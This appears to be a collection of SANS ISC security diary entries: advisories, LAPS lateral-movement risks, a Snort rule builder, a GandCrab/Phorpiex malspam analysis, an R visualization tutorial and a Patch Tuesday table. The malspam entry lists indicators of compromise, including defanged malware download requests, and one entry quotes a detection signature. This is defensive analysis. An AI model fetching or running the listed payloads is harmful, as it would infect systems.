Today, Microsoft published an advisory on CVE-2019-0624 on a spoofing vulnerability in Skype for Business 2015. It requires a few steps of the attacker and isn't entirely straightforward to execute. They must be an authenticated user and then send a spoofed request that can then perform a XSS on the victim machine at the privilege level of the user using Skype for Business.

Additionally, two advisories were published for Team Foundation Server (2017 and 2018) involving an XSS attack from crafted user-input (CVE-2019-0646) and an information disclosure bug (CVE-2019-0647).

The risk and urgency of applying these isn't an emergency, but if you accept input from untrusted third-parties in TFS or Skype for Business, that may enhance your risk. Due to the sensitivity of what most people use TFS for, you may wish to find a window when your developers are off and get that applied sooner.

No public exploitation has been reported, but the TFS vulnerabilities were publicly disclosed.

--
John Bambenek
bambenek \at\ gmail /dot/ com
ThreatSTOP

 

The story is all too familiar, the chain of events almost the same every time:

• A malicious email makes its way in past the SPAM filter.
• The recipient person clicks on a link or downloads an attachment with a macro in it
• Malware executes
• The malware uses Mimikatz (or some variation thereof) to harvest the local administrator password from the machine
• The malware then uses that password for lateral movement to infect other workstations and servers
• then bad things start to happen, and the phone rings!

The Blue Team "fix" for this?  Well, there are lots of them (starting with the SPAM filter, user education and blocking macros), but the one I'll discuss today is that local administrator password, the one that's the same on all workstations (and often on all servers as well).  Microsoft LAPS (Local Administrator Password Solution) is a nifty, free download that allows you to set the local admin password for each workstation to a random string of configurable length.  Not only that, it allows you to schedule resets of those passwords, and it's all configurable through Group Policy:

The passwords are stored in a field in AD, which is part of the schema extension for this product.  You can then set rights on that field so that only authorized folks can use those passwords.

LAPS can be downloaded here (note that this link is subject to change over time):
https://www.microsoft.com/en-us/download/details.aspx?id=46899

Note to the Blue Team / IT Ops Team- don't include your Domain Controllers in the scope of your LAPS workstations, or you're in for a bad day

Neat eh?  If done right, this fixes the lateral movement problem nicely right?

... Time for the Red Team Point of View ....

LAPS works great, except that authorized folks can read those passwords in clear text (because they need to).  What this does is focus the efforts of the attackers on the IT Administration team.  If you can compromise the right helpdesk password, you'll be able to collect all the workstation local administrator passwords with a simple PowerShell one-liner, then save that off to a spreadsheet as part of your Penetration Test findings (or L00T if the attack is malicious):

To collect one password:

Or, as they say in Pokemon Universe, if you want to collect them all - dump out all hosts in the domain, and collect the hostname, the OS and the local admin passwords:

Your data will look something like:

Note that all stations don't have set - you normally enforce the LAPS GPO by OU in Active Directory.  Try to get the coverage you want for this tool by building your OUs and enforcing the GPO appropriately, but again, be sure not to apply this to any domain controllers.

If you're running a penetration test, exporting it to a CSV so you can do some more analysis in Excel is a handy final step (be careful where this data goes though!)

Note to the Blue Team or Ops Team - DON'T RUN THIS LAST COMMAND - EVER.  SAVING ALL OF YOUR PASSWORDS IN A SPREADSHEET IS AN EPICALLY BAD IDEA!

The "moral of the story"?  A few actually:

• No security measure is 100% effective, and every security measure can be exploited if it's not done right (or even if it is done right). 
• Approaches like this work best against malware and other automated / semi-automated attacks.  If you have an intelligent adversary, they'll likely get administrative fairly quickly in most domains.
• "Defence in Depth" is a thing people say for a reason, it's the most effective way to protect your assets.  If you put all of your eggs in one basket, count on the fact that at some point, you'll drop that basket (or someone will do that for you)
• LAPS is a great tool, but it should be one tool of many that you use to protect your infrastructure. 
• Implementing things like this start to focus attackers on your helpdesk and domain admins - be sure that those admin accounts are protected as much as possible - start by making sure that folks can't browse or check email while using an admin account!!

Have I missed anything?  Please use our comment form if so!

===============
Rob VandenBrink

 

For folks still running Windows 7, Microsoft has it scheduled for End of Life in exactly 1 year - https://support.microsoft.com/en-ca/help/13853/windows-lifecycle-fact-sheet

Not such a big deal if you have 1 or 2 machines at home to manage, but if you are an enterprise with hundreds or thousands of Windows 7 machines, it's really time to start that migration project.  If you're still running Windows XP, you're in even deeper trouble!  If you've got business apps keeping you at W7 (or XP for that matter), it's past time to consider an update or migration to better applications!

The difference I'm seeing between companies that run Windows 10 / Office 2016, and companies that run Windows 7 and older versions of office is a significant difference in rates of malware infection.  Maybe start your project by updating machines as a standard first response to malware incident response?  Or make the decision that it's better for the business to pay for updates, as opposed to paying ransomware (and maybe not even getting what you pay for in that case)? 

Haopy updating! 

===============
Rob VandenBrink

Snorpy is a web base application to easily build Snort/Suricata rules in a graphical way. It is simple to use starting from the Action and Protocol fields and as you pick each field, the rule builder shows the rule in the bottom window. Before setting up your own local copy, you want to test a live version maintained by the author go here.

This is an example of an existing Snort rule entered via the interface. The rule used for my example is from Emergingthreats with sid:2002809.

alert tcp any 21 -> $HOME_NET any (msg:"ET ATTACK_RESPONSE Hostile FTP Server Banner (StnyFtpd)"; flow:established,from_server; content:"220 StnyFtpd 0wns j0"; offset:0; nocase; reference:url,doc.emergingthreats.net/bin/view/Main/2002809; classtype:trojan-activity; sid:2002809; rev:5; metadata:created_at 2010_07_30, updated_at 2010_07_30;)

Note: You have to excape any of the special characters in the MSG fields (see example), just make sure you remove them after you copy the rule. There are a few fields that currently don't exist but they can be added in the code since the code is available.

If you are interested in trying Snorpy, I wrote a guide to install it on CentOS 7.6 located here.
[1] http://snorpy.com/
[2] https://github.com/chrisjd20/Snorpy
[3] https://handlers.sans.org/gbruneau/snorpy_setup.htm
[4] https://rules.emergingthreats.net/open/snort-2.9.0/rules/emerging-attack_response.rules

-----------
Guy Bruneau IPSS Inc.
My Handler Page
Twitter: GuyBruneau
gbruneau at isc dot sans dot edu

Reader Kevin asked for help with the analysis of maldoc 7eac18cab2205d94e5e5e0c43daf64cbab2e0b43cf841213c25ca34e8124739f.

Here is the analysis in one-line, as I like to do:

Similar samples have been analyzed step by step in this and this diary entry. And I also have a video.

This is a good opportunity to point to our diary archive that you can find here, Diary entries by handler can be found here.

My list is here.

 

Didier Stevens
Senior handler
Microsoft MVP
blog.DidierStevens.com DidierStevensLabs.com

Introduction

Malicious spam (malspam) using zipped JavaScript (.js) files as email attachments--this is a well-established tactic used by cyber criminals to distribute malware.  I've written diaries discussing such malspam in July 2015, September 2015, and February 2016.  I've run across plenty of examples since then, but I've focused more on Microsoft Office documents instead of .js files.  I last documented .js-based malspam in May 2018.

Despite my personal focus on malicious Word documents and Excel spreadsheets, waves of malspam using zipped .js files were still happening.  So I decided to watch for these .js files as 2019 rolled around.

It didn't take long.  Earlier this week, I ran across zipped .js attachments from a wave of malspam.  The attachment names all started with Love_You_, and subject lines indicated these were love letters.  A quick Twitter search showed this tactic was used to distribute GandCrab ransomware as recently as November 2018.  Further research revealed this malspam is associated with the Phorpiex botnet.

Today's diary examines a wave of "Love You" malspam from Tuesday 2019-01-08.  The infection traffic included GandCrab ransomware, a Monero (XMRig) cryptocurrency miner, and Phorpiex spambot traffic.

Shown above:  Flowchart for "Love You" malspam infection traffic.

The emails

Emails follow the same patterns as seen in Proofpoint's May 2018 report on Phorpiex botnet malspam.  See the images below for details.

Shown above:  Spreadsheet tracker with 10 examples of Phorpiex botnet "Love You" malspam.

Shown above:  Example of the malspam and attached zip archive with .js file.

Shown above:  Script near the bottom of the extracted .js file.

Infection traffic

Infection traffic showed several HTTP requests for additional malware, resulting in multiple copies of the same malware on the infected host.  The host generated Monero (XMRig) cryptocurrency mining traffic, and it also caused the expected post-infection traffic patterns for GandCrab ransomware.  My infected lab host also turned into a spambot for the Phorpiex botnet.

Attachments in malspam from my infected lab host were approximately 1.3 kB, which is much considerably smaller than the 43 to 46 kB attachments I found through VirusTotal.  However, these smaller .js files generated the same infection traffic as the larger ones.  The larger .js files had more obfuscation for the same functions.

Shown above:  Some of the web-based infection traffic filtered in Wireshark.

Shown above:  Monero (XMRig) cryptocurrency miner traffic from the infection.

Shown above:  Phorpiex spambot traffic from my infected lab host.

Shown above:  One of the malspam messages sent out from my infected lab host.

Shown above:  Examining one of the zipped .js attachments sent from my infected lab host.

Forensics on an infected host

GandCrab ransomware was the most visible aspect of my infected lab host.  Of note, the file downloader established itself on a USB thumb drive plugged into the infected host.

Shown above:  Desktop from an infected Windows host.

Shown above:  Decryptor page for the GandCrab ransomware infection.

Shown above:  File downloader established itself on a USB drive plugged into the infected host.

Indicators of compromise (IOCs)

Date:/Time of the malspam:

• Tuesday 2019-01-08 as early as 00:15 UTC through at least 18:24 UTC

10 examples of spoofed sending addresses from the malspam:

• From:  Teddy Bailey <Teddy31@8038.com>
• From:  Imogene Carter <Imogene99@0354.com>
• From:  Imelda Jones <Imelda31@1529.com>
• From:  Ted Hall <Ted93@4302.com>
• From:  Deanne Harris <Deanne11@5387.com>
• From:  Bob Ross <Bob01@0437.com>
• From:  Teddy Gonzalez <Teddy21@8381.com>
• From:  Bradford Reed <Bradford99@2804.com>
• From:  Taylor Phillips <Taylor74@4656.com>
• From:  Deena Hernandez <Deena49@1659.com>

8 examples of subjects lines from 10 examples of the malspam:

• Subject:  Always thinking about you
• Subject:  Felt in love with you!
• Subject:  I love you
• Subject:  Just for you!
• Subject:  My letter just for you
• Subject:  My love letter for you
• Subject:  Wrote this letter for you
• Subject:  :D

8 file attachments (zip archives) from 10 examples of malspam:

• Love_You_24373792-2019-txt.zip - 43,646 bytes
• Love_You_25821416-2019-txt.zip - 45,504 bytes
• Love_You_26943288-2019-txt.zip - 43,481 bytes
• Love_You_35140600-2019-txt.zip - 45,289 bytes
• Love_You_36450240-2019-txt.zip - 45,305 bytes
• Love_You_4169768-2019-txt.zip - 43,447 bytes
• Love_You_5742488-2019-txt.zip - 43,494 bytes
• Love_You_8801848-2019-txt.zip - 47,121 bytes

SHA256 hashes for the above zip archives:

• 72429571f4ca62fceb5a4fc0a17a8f8ab88c1ed01b9d657f7e9778c7939cea06
• 27ac0e9011294c2152d224052280f7fa434df572809a6f96f9a306f3d5c965e3
• 99a1e83e77850b59995cdf29b61e9f29f9c38882363027668030df0a62059645
• 06e61032bccfe0ccd51ddbab480e1eb6392bccb318639ecac0092e96b9d794ad
• 7818e108a16f096eb71feb564ce92095c4ac1e613933630169cc16606bb5f68d
• 0a27af16b991cbe0f5445022cb1d752a9144abeede6b8de0055247e6fd6c1698
• 32ee086fbc82ddd0675c0293656f813493ce6d96d02e0bcbeccee4d1a6adfb20
• 12e3038b2ed0663cba3c6a05ac0a27b61dce694dffc27aafb4cb3f2f229ff6b8

JavaScript (JS) files extracted from the above zip archives:

• Love_You_24373792-2019-txt.js - 43490 bytes
• Love_You_25821416-2019-txt.js - 45348 bytes
• Love_You_26943288-2019-txt.js - 43325 bytes
• Love_You_35140600-2019-txt.js - 45133 bytes
• Love_You_36450240-2019-txt.js - 45149 bytes
• Love_You_4169768-2019-txt.js - 43293 bytes
• Love_You_5742488-2019-txt.js - 43340 bytes
• Love_You_8801848-2019-txt.js - 46967 bytes

SHA256 hashes for the above JS files:

• 6ad3e68e2e8c5088bc8544bc230a2e333645d3c246ace772bf61f80cd0e93002
• 99fe714a365f8e4a74687592700b27f2016a59c7527b5d4ef7cfd97e63468349
• d189f44528dfa3f8dba2632ae26f564a37931cb89668d31402fc7fb05ae63c1a
• c3683096f91b00dfe248e388b4302d5471fb090ab8092c96c991a467c26f26b0
• f3c369edc2ea96465c49a14f64bdce83c0a401e0ae12e809bced8f99b977c5dc
• f4d3ba58e91dc95877ba13804df6fe307ef6efcef74d3a00792387625a624cf4
• 9ff78056e225c08ef1f1ff71f305201387f3ec766c8727361851287a74de1f45
• ba23af4480611fb19fad2cd83a41bd347d183e0ef8e1c5477916bebe32955d87

Information from file attachment seen in post-infection spambot traffic:

• SHA256 hash: cf9a20874089ec7aa1a84a27f74928c71266a684e7fee4c1ac8d37aaf57d6bf2
• File name: Love_You_2019_38154368-txt.zip
• File size: 1,382 bytes
• File description: Zip archive extracted from post-infection spambot traffic

• SHA256 hash: 0de30f9dbe37aea5932e5df85b4f1aa5cefe28f3bffb58d4d8ae40ccd040a4a7
• File name: Love_You_2019_38154368-txt.js
• File size: 1,226 bytes
• File description: Extracted JS file from zip archive seen in spambot traffic

Malware retrieved from an infected Windows host:

• SHA256 hash: 4c0103c745fa6e173821035c304863d751bea9c073d19070d9ebf8685da95040
• File size: 144,384 bytes
• File description: Initial executable retrieved by JS file

• SHA256 hash: 056b7eb0c06645e1f51ed77f4fa18a4bed47135108371a84f0482f141ae0d769
• File size: 152,576 bytes
• File description: Follow-up executable/malware downloader retrieved by initial executable

• SHA256 hash: 035ae8f389e0a4cb58428d892123bc3e3b646e4387c641e664c5552228087285
• File size: 598,528 bytes bytes
• File description: GandCrab ransomware

• SHA256 hash: b8bf5b607b305139db81c48e96010a67768488b01edc8c615306ed303c545b0d
• File size: 1,209,856 bytes
• File description: Monero (XMRig) cryptocurrency miner 

• SHA256 hash: 4b9d5841d38b8658466dcaf409c34c0f6d2d1f9ecb64254391a4621465daf79b
• File size: 159,744 bytes
• File description: Phropiex spambot malware

HTTP traffic for the initial malware EXE:

• 92.63.197[.]48 port 80 - slpsrgpsrhojifdij[.]ru - GET /krablin.exe?ceaYZof

HTTP traffic generated by the initial malware EXE and follow-up EXE/malware downloader:

• 92.63.197[.]48 port 80 - slpsrgpsrhojifdij[.]ru - GET /1.exe
• 92.63.197[.]48 port 80 - slpsrgpsrhojifdij[.]ru - GET /2.exe
• 92.63.197[.]48 port 80 - slpsrgpsrhojifdij[.]ru - GET /3.exe
• 92.63.197[.]48 port 80 - slpsrgpsrhojifdij[.]ru - GET /4.exe
• 92.63.197[.]48 port 80 - slpsrgpsrhojifdij[.]ru - GET /5.exe
• 92.63.197[.]48 port 80 - 92.63.197[.]48 - GET /m/1.exe
• 92.63.197[.]48 port 80 - 92.63.197[.]48 - GET /m/2.exe
• 92.63.197[.]48 port 80 - 92.63.197[.]48 - GET /m/3.exe
• 92.63.197[.]48 port 80 - 92.63.197[.]48 - GET /m/4.exe
• 92.63.197[.]48 port 80 - 92.63.197[.]48 - GET /m/5.exe
• 92.63.197[.]48 port 80 - 92.63.197[.]48 - GET /m/2.exe
• 92.63.197[.]48 port 80 - 92.63.197[.]48 - GET /1.exe
• 92.63.197[.]48 port 80 - 92.63.197[.]48 - GET /2.exe
• 92.63.197[.]48 port 80 - 92.63.197[.]48 - GET /3.exe
• 92.63.197[.]48 port 80 - 92.63.197[.]48 - GET /4.exe
• 92.63.197[.]48 port 80 - 92.63.197[.]48 - GET /5.exe
• 198.105.244[.]228 port 80 - osheoufhusheoghuesd[.]ru - GET /1.exe
• 198.105.244[.]228 port 80 - osheoufhusheoghuesd[.]ru - GET /2.exe
• 198.105.244[.]228 port 80 - osheoufhusheoghuesd[.]ru - GET /3.exe
• 198.105.244[.]228 port 80 - osheoufhusheoghuesd[.]ru - GET /4.exe
• 198.105.244[.]228 port 80 - osheoufhusheoghuesd[.]ru - GET /5.exe
• 198.105.244[.]228 port 80 - suieiusiueiuiuushgf[.]ru - GET /1.exe
• 198.105.244[.]228 port 80 - suieiusiueiuiuushgf[.]ru - GET /2.exe
• 198.105.244[.]228 port 80 - suieiusiueiuiuushgf[.]ru - GET /3.exe
• 198.105.244[.]228 port 80 - suieiusiueiuiuushgf[.]ru - GET /4.exe
• 198.105.244[.]228 port 80 - suieiusiueiuiuushgf[.]ru - GET /5.exe

Traffic caused by the GandCrab ransomware EXE:

• 78.46.77[.]98 port 80 - www.2mmotorsport[.]biz - GET /
• 78.46.77[.]98 port 443 - www.2mmotorsport[.]biz - HTTPS traffic
• 217.26.53[.]161 port 80 - www.haargenau[.]biz - GET /
• 217.26.53[.]161 port 80 - www.haargenau[.]biz - POST /includes/pictures/fusemoru.png
• 74.220.215[.]73 port 80 - www.bizziniinfissi[.]com - GET /
• 74.220.215[.]73 port 80 - www.bizziniinfissi[.]com - POST /uploads/images/dethso.gif
• 136.243.13[.]215 port 80 - www.holzbock[.]biz - POST /uploads/images/rumose.png
• 138.201.162[.]99 port 80 - www.fliptray[.]biz - GET /
• 138.201.162[.]99 port 443 - www.fliptray[.]biz - HTTPS traffic
• gandcrabmfe6mnef[.]onion - Tor domain noted in decryption instructions

Traffic caused by the Monero (XMRig) cryptocurrency miner EXE:

• 92.63.197[.]48 port 9090 - XMRig coinminer traffic

Traffic caused by the Phorpiex spambot EXE:

• 92.63.197[.]48 port 80 - 92.63.197[.]48 - GET /m/attachment.js
• port 80 - icanhazip[.]com - GET /   (IP address check, not inherently malicious)
• 92.63.197[.]48 port 80 - 92.63.197[.]48 - GET /m/mnum.txt
• 92.63.197[.]48 port 80 - 92.63.197[.]48 - GET /m/1994.txt
• UDP port 53 - DNS queries for various mail servers
• various IP addresses over TCP port 25 - SMTP traffic caused by the spambot

Final words

A pcap of the infection traffic and malware associated with today's diary can be found here.

---
Brad Duncan
brad [at] malware-traffic-analysis.net

I regularly challenge myself and others to visualize the results of their analysis, when and where the data permits it. The likes of ggplot2 enables this beautifully for R users. Then, in September 2018, gganimate hit my radar via R-bloggers and I had an epiphany.

“gganimate extends the grammar of graphics as implemented by ggplot2 to include the description of animation. It does this by providing a range of new grammar classes that can be added to the plot object in order to customize how it should change with time.”

While Thomas’s gganimate examples are intriguing, and triggered my notions for deeper visualization opportunities, they were contextually unrelated to my goals. As such, I endeavored to provide example data sets and applicability for information security and assurance analysis. As purveyors of security analysis services, my team is perpetually faced with solving problems at massive scale, yet finding intelligent, accurate answers in the sea of data. While a static visualization specific to a related analysis can be truly effective, an animated visualization, particularly a time-based graphic, can bring the art to a whole new level. A couple of points and caveats:

• This review drove me a bit crazy over the nuance between security analysis versus security analytics. In the end, I settled on the fact that this work enables analysis, based on the Merriam-Webster definitions:
  • Analysis is “a detailed examination of anything complex in order to understand its nature or to determine its essential features: a thorough study.”
  • Analytics is defined as “the method of logical analysis.” The Electronic Engineering Times elaborates further: “Merriam-Webster’s definition of analytics as a “method of logical analysis” includes the term analysis, but introduces a significant differentiator with the term “logical.” Analytic methods use data to answer questions that occurred in the past, but also provide insights or deductive reasoning to act in the future.” In my mind, static and animated visualizations of data past are more an “examination of anything complex in order to understand its nature or to determine its essential features”. Yet, one can argue that these same visualizations can, at least, help inform action in the future. It came out to be approximately a 70⁄30 split for me, in favor of analysis. Let the debate begin, but this gives you good insight regarding the discussions I have with myself. ;-)
• While the data sets provided here are artificial, they are based on absolute realities, and represent legitimate scenarios and likely outcomes. That said, they are artificial (#FakeData) so please do not use this data to influence any decisions other than to use these methods with your real data. The goal here is simply to provide you with hopefully new and innovative ways to represent your analysis.

gganimate installation is really simple. You can grab the stable version from CRAN via

install.packages('devtools')

or the development version via

devtools::install_github('thomasp85/gganimate')

Note that, while working on Windows 10, I used a gganimate fork via

devtools::install_github("dmi3kno/gganimate")

to overcome a Windows 10-specific bug. Installation from CRAN or the thomasp85 GitHub should be otherwise successful. I strongly suggest reading through as much of the gganimate reference guide, as a Grammar of Animated Graphics, there is some granular syntax to consume and understand here.

I selected three of Thomas’s examples and customized them for use in a security analysis context. Thomas is gganimate’s author and maintainer, for a very current review of the project’s history, current state, and road map, see gganimate has transitioned to a state of release. The project is now officially a v1.0 release. The project GitHub includes three examples:

1. Temperature Time Series
2. Gapminder
3. Election Results

I utilized the principles and code from each of these and applied them to three unique security-oriented scenarios, namely security incident counts over time, a cloud provider Cybersecurity Framework attestation comparison, and ten years of Security Development Lifecycle utilization.

Security Incidents Time Series

I’ll start with a simple example and concept. I’m not a big fan of security incident counts by themselves as a metric or a KPI, but they do inform trend indicators. For large service providers and operations, data of this nature can inform leadership of patterns to manage as well. This visualization compares incident counts by day of the month, over five months August through December, in parallel, as seen in Figure 1.

library(ggplot2)
library(gganimate)

incidents <- read.csv("incidents.csv")
incidents$Month <- format(ISOdate(2004,1:12,1),"%B")[incidents$Month]

p <- ggplot(incidents, aes(Day, Inc_Cnt, group = Month)) + 
  geom_line(aes(colour=Month)) + 
  geom_segment(aes(xend = 31, yend = Inc_Cnt), linetype = 2, colour = 'blue') + 
  geom_point(size = 2) + 
  geom_text(aes(x = 31.1, label = Month), hjust = 0, colour = 'brown') + 
  transition_reveal(Month, Day) + 
  coord_cartesian(clip = 'off') + 
  labs(title = 'Incident Counts by Day - AUG through DEC', y = 'Incident Count') + 
  theme_minimal() + 
  theme(plot.margin = margin(5.5, 40, 5.5, 5.5)) +
  theme(legend.position='none')
p + anim_save("incidentTS.gif", animation = last_animation())

Figure 1: Security incidents time series

One could reach conclusions such as:

• Incident counts are above the median in all but August at the beginning of month
• In all but October there were noteworthy dips in security incidents on on or about the 17th of the month

Were this real data specific to the environment you’re supporting you might adjust scheduling and staffing to account for a heavier work load at the beginning of the month, while potentially pushing scheduled time off to the middle of the month.

Cloud Provider Cybersecurity Framework (CSF) Attestation Comparison

For our second scenario, imagine you’re in the market for a cloud service provider, and you’re charged with conducting the utmost due diligence. It just so happens that The Cloud Security Alliance (CSA) Cloud Controls Matrix (CCM) is “designed to provide fundamental security principles to guide cloud vendors and to assist prospective cloud customers in assessing the overall security risk of a cloud provider. The CSA CCM provides a controls framework that gives detailed understanding of security concepts and principles that are aligned to tools including the Cybersecurity Framework.” The CSF is oriented towards the function areas Identify, Protect, Detect, Respond, and Recover. With a combination of cloud service provider data, as well as your own research, you gathered data to measure provider performance in each of the function area over the period of a year. Your data is refined to a percentage of completeness towards each of the function areas for the twelve months of the year for your final two provider candidates. The code to create this visualization follows.

library(dplyr)
library(ggplot2)
library(gganimate)

cldprvdr_data <- read.csv("CloudProvidersCSF.csv") %>%
  mutate(control = factor(control, levels = c("Identify", "Protect", "Detect", "Respond", "Recover")))

control_color <- c(
  "Identify" = "#1a9fde",
  "Protect" = "#e10b1f", 
  "Detect" = "#565656", 
  "Respond" = "#727272", 
  "Recover" = "#499533" 
)

cp_animated <- ggplot(cldprvdr_data, aes(x = control, y = result, fill = control)) +
  geom_hline(yintercept = 0.05, colour = "#D3D3D3", linetype = "dashed") +
  geom_bar(position = "dodge", stat = "identity") +
  #geom_text(aes(label = scales::percent(result), 
  #              y = result + 0.01),
  #          position = position_dodge(width = 0.9), 
  #          vjust = -0.5, size = 6, color = "black") +
  labs(title = "2018 CSF attestation per month: {closest_state}",
       subtitle = "Cyber Security Framework (CSF) results per Cloud Provider",
       caption = "CSF function areas: Identify, Protect, Detect, Respond, Recover",
       x = "", y = "") +
  theme_light(base_size = 16) +
  guides(fill = FALSE) +
  facet_grid(cldprvdr ~ .) +
  scale_y_continuous(labels = scales::percent, limits = c(0, 1)) +
  scale_fill_manual(values = control_color) +
  transition_states(month, 1,3, wrap = FALSE) +
  ease_aes('quadratic-in-out')
cp_animated + anim_save("CloudProvidersCSF.gif", animation = last_animation())

Visualizing this data with gganimate for purposes of comparison thus might appear as seen in Figure 2.

Figure 2: Cloud providers CSF comparison

There’s a pretty clear conclusion to be reached with this visualization. It certainly appears that Cloud Provider 2 is the more mature of the two providers, by at least 20% per function area. A visualization of this nature for vendor comparisons of many different kinds could be very useful in making better informed decision, particularly when they’re large financial investments.

Ten Years of Security Development Lifecycle Utilization

I’m personally fond of this last example as I am both a proud advocate for the practice of a Security Development Lifecycle and a believer that this level of performance measurement granularity can and should be performed. I have to imagine mature development environments with strong code management capabilities are likely able to achieve some semblance of this scenario. The premise of the data set assumes a ten year measurement where aggregate development organizations have tracked:

• lines of code to measure code base growth and potential bloat
• the number of bugs submitted or detected
• the number of code regressions

Each of these are valid and important measurements and KPIs for development organizations, nor matter what product is being developed. This data set represents measurements across multiple applications, built for all major platforms (Windows, Linux, Android, iOS, Mac), over a ten year period since the organization began utilizing SDL. First, the code.

library(ggplot2)
library(gganimate)
library(tibble)

data <- read.csv("SDL.csv")
sdl_data <- as_data_frame(data)

options(scipen=10000)
dev.off(which = dev.prev())

ggplot(sdl_data, aes(bugs, regressions, size = code, colour = apps)) +
  geom_point(alpha = 0.7) +
  scale_colour_manual(values = rainbow(n=142)) +
  scale_size(range = c(2, 12)) +
  scale_x_log10() +
  facet_wrap(~OS) +
  theme(legend.position = 'none') +
  labs(title = 'Year: {frame_time}', x = 'Bugs', y = 'Regressions', 
       subtitle = "Ten Years of SDL") +
  transition_time(year)

The resulting visualization warrants a bit of explanation. This size of each node (application) in the five major platform panes panes represents is indicative of the size of the application’s code base. The x axis represents the number of bugs filed, and the y axis represents the number of regressions introduced, as seen in Figure 3.

Figure 3: Ten Years of SDL

A few observations:

• The largest apps are found in the Windows groupings, you can watch their code size grow in small margins as the years progress, and while the bugs reported increase as expected with code growth, the regressions decline gradually
• Linux apps tended to perform best over time, relatively stable with minor code growth, almost no increase in bugs over time, and some noteworthy declines in regressions are observed
• Only a very few apps, in the Windows and Linux collections, performed really well over time, with minimal bugs and regressions, yet a steady decrease in both, even with observable code growth
• Most of the Android apps remain high in bugs and regressions until half way through the decade, then decrease in regression, but the largest app shows now improvement at all, it even worsens.

While again, this is artificial, manipulated data, I tried to cook it in such a manner as to produce likely outcomes that would be well observed with animated visualizations over time.
I do hope this has stimulated your thinking on these types of scenarios, and ideally, the additional plethora opportunities to bring animation to your security data.

Each of these scripts and data sets are available for you on my GitHub, as is a Jupyter Notebook.
https://github.com/holisticinfosec/gganimate-Animate-YouR-Security-Analysis

I’d love to see what you come up with, please share them with me via social media, @holisticinfosec or email, russ at holisticinfosec dot io.

Cheers…until next time.

Russ McRee | @holisticinfosec 

This month we got patches for 49 vulnerabilities total. None of them have been used in the wild, and only one vulnerability has been made public before today.

Particularly interesting is the vulnerability in the DHCP client. This could likely be exploited via a malicious DHCP server, for example in a public WiFi network. Microsoft assigned this vulnerability a CVSS base score of 9.8. 

We got a good number of vulnerabilities in the Jet Database Engine. Jet Database vulnerabilities are often exploitable via Office documents. But none of the vulnerabilities are labeled as critical. Only 8 vulnerabilities are labeled as "Critical" this month. The majority of them affects web browsers. But there are also two critical code execution vulnerabilities in HyperV.

See Renato's dashboard for a more detailed breakout: https://patchtuesdaydashboard.com

Description
CVE	Disclosed	Exploited	Exploitability (old versions)	current version	Severity	CVSS Base (AVG)	CVSS Temporal (AVG)
.NET Framework Information Disclosure Vulnerability
%%cve:2019-0545%%	No	No	Less Likely	Less Likely	Important
ASP.NET Core Denial of Service Vulnerability
%%cve:2019-0548%%	No	No	Less Likely	Less Likely	Important
%%cve:2019-0564%%	No	No	-	-	Important
Chakra Scripting Engine Memory Corruption Vulnerability
%%cve:2019-0539%%	No	No	-	-	Critical	4.2	3.8
%%cve:2019-0567%%	No	No	-	-	Critical	4.2	3.8
%%cve:2019-0568%%	No	No	-	-	Critical	4.2	3.8
January 2019 Adobe Flash Update
ADV190001	No	No	-	-
Jet Database Engine Remote Code Execution Vulnerability
%%cve:2019-0538%%	No	No	Unlikely	Unlikely	Important	7.8	7.0
%%cve:2019-0575%%	No	No	Unlikely	Unlikely	Important	7.8	7.0
%%cve:2019-0576%%	No	No	Unlikely	Unlikely	Important	7.8	7.0
%%cve:2019-0577%%	No	No	Unlikely	Unlikely	Important	7.8	7.0
%%cve:2019-0578%%	No	No	Unlikely	Unlikely	Important	7.8	7.0
%%cve:2019-0579%%	Yes	No	Unlikely	Unlikely	Important	7.8	7.0
%%cve:2019-0580%%	No	No	Unlikely	Unlikely	Important	7.8	7.0
%%cve:2019-0581%%	No	No	Unlikely	Unlikely	Important	7.8	7.0
%%cve:2019-0582%%	No	No	Unlikely	Unlikely	Important	7.8	7.0
%%cve:2019-0583%%	No	No	Unlikely	Unlikely	Important	7.8	7.0
%%cve:2019-0584%%	No	No	Unlikely	Unlikely	Important	7.8	7.0
Latest Servicing Stack Updates
ADV990001	No	No	-	-	Critical
MSHTML Engine Remote Code Execution Vulnerability
%%cve:2019-0541%%	No	No	More Likely	More Likely	Important	6.4	5.8
Microsoft Edge Elevation of Privilege Vulnerability
%%cve:2019-0566%%	No	No	-	-	Important	4.3	3.9
Microsoft Edge Memory Corruption Vulnerability
%%cve:2019-0565%%	No	No	-	-	Critical	4.2	3.8
Microsoft Exchange Information Disclosure Vulnerability
%%cve:2019-0588%%	No	No	Less Likely	Less Likely	Important
Microsoft Exchange Memory Corruption Vulnerability
%%cve:2019-0586%%	No	No	More Likely	More Likely	Important
Microsoft Office Information Disclosure Vulnerability
%%cve:2019-0560%%	No	No	Less Likely	Less Likely	Important
Microsoft Office SharePoint XSS Vulnerability
%%cve:2019-0556%%	No	No	-	-	Important
%%cve:2019-0557%%	No	No	-	-	Important
%%cve:2019-0558%%	No	No	Less Likely	Less Likely	Important
Microsoft Outlook Information Disclosure Vulnerability
%%cve:2019-0559%%	No	No	Less Likely	Less Likely	Important
Microsoft SharePoint Elevation of Privilege Vulnerability
%%cve:2019-0562%%	No	No	Less Likely	Less Likely	Important
Microsoft Visual Studio Information Disclosure Vulnerability
%%cve:2019-0537%%	No	No	Less Likely	Less Likely	Important
Microsoft Windows Elevation of Privilege Vulnerability
%%cve:2019-0543%%	No	No	More Likely	More Likely	Important	7.8	7.8
Microsoft Word Information Disclosure Vulnerability
%%cve:2019-0561%%	No	No	Less Likely	Less Likely	Important
Microsoft Word Remote Code Execution Vulnerability
%%cve:2019-0585%%	No	No	Less Likely	Less Likely	Important
Microsoft XmlDocument Elevation of Privilege Vulnerability
%%cve:2019-0555%%	No	No	More Likely	More Likely	Important	7.0	6.3
Skype for Android Elevation of Privilege Vulnerability
%%cve:2019-0622%%	No	No	Less Likely	Less Likely	Moderate
Visual Studio Remote Code Execution Vulnerability
%%cve:2019-0546%%	No	No	Less Likely	Less Likely	Moderate
Windows COM Elevation of Privilege Vulnerability
%%cve:2019-0552%%	No	No	More Likely	More Likely	Important	7.0	6.3
Windows DHCP Client Remote Code Execution Vulnerability
%%cve:2019-0547%%	No	No	-	-	Critical	9.8	8.8
Windows Data Sharing Service Elevation of Privilege Vulnerability
%%cve:2019-0571%%	No	No	Less Likely	Less Likely	Important	7.8	7.8
%%cve:2019-0572%%	No	No	More Likely	More Likely	Important	7.8	7.8
%%cve:2019-0573%%	No	No	More Likely	More Likely	Important	7.8	7.8
%%cve:2019-0574%%	No	No	More Likely	More Likely	Important	7.8	7.8
Windows Hyper-V Remote Code Execution Vulnerability
